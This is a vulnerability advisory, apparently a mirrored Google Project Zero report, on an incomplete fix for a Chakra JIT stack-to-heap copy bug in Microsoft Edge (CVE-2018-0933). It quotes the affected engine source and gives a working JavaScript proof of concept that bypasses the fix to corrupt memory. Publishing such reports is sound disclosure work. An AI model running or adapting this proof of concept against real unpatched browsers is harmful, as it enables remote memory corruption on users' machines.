Microsoft Edge Charka JIT Incomplete Fix For Issue 1420

2018.04.04
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 7.6/10
Impact Subscore: 10/10
Exploitability Subscore: 4.9/10
Exploit range: Remote
Attack complexity: High
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

Microsoft Edge: Chakra: JIT: The fix for issue 1420 is incomplete. CVE-2018-0933 Here's a snippet of JavascriptArray::BoxStackInstance. To fix <a href="/p/project-zero/issues/detail?id=1420" title="Microsoft Edge: Chakra: JIT: stack-to-heap copy bug" class="closed_ref" rel="nofollow"> issue 1420 </a>, "deepCopy" was introduced. It only deep-copies the array when "instance->head" is on the stack. So simply by adding a single line of code that allocates "head" to the heap, we can bypass the fix. template <typename T> T * JavascriptArray::BoxStackInstance(T * instance, bool deepCopy) { Assert(ThreadContext::IsOnStack(instance)); // On the stack, the we reserved a pointer before the object as to store the boxed value T ** boxedInstanceRef = ((T **)instance) - 1; T * boxedInstance = *boxedInstanceRef; if (boxedInstance) { return boxedInstance; } const size_t inlineSlotsSize = instance->GetTypeHandler()->GetInlineSlotsSize(); if (ThreadContext::IsOnStack(instance->head)) { boxedInstance = RecyclerNewPlusZ(instance->GetRecycler(), inlineSlotsSize + sizeof(Js::SparseArraySegmentBase) + instance->head->size * sizeof(typename T::TElement), T, instance, true, deepCopy); } else if(inlineSlotsSize) { boxedInstance = RecyclerNewPlusZ(instance->GetRecycler(), inlineSlotsSize, T, instance, false, false); } else { boxedInstance = RecyclerNew(instance->GetRecycler(), T, instance, false, false); } *boxedInstanceRef = boxedInstance; return boxedInstance; } PoC: function inlinee() { return inlinee.arguments[0]; } function opt(convert_to_var_array) { /* To make the in-place type conversion happen, it requires to segment. */ let stack_arr = []; // Allocate stack_ar->head to the heap stack_arr[20] = 1.1; stack_arr[10000] = 1.1; stack_arr[20000] = 2.2; let heap_arr = inlinee(stack_arr); convert_to_var_array(heap_arr); stack_arr[10000] = 2.3023e-320; return heap_arr[10000]; } function main() { for (let i = 0; i < 10000; i++) opt(new Function('')); // Prevents to be inlined print(opt(heap_arr => { heap_arr[10000] = {}; // ConvertToVarArray })); } main(); This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available, the bug report will become visible to the public. Found by: lokihardt


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2018, cxsecurity.com

 

Back to Top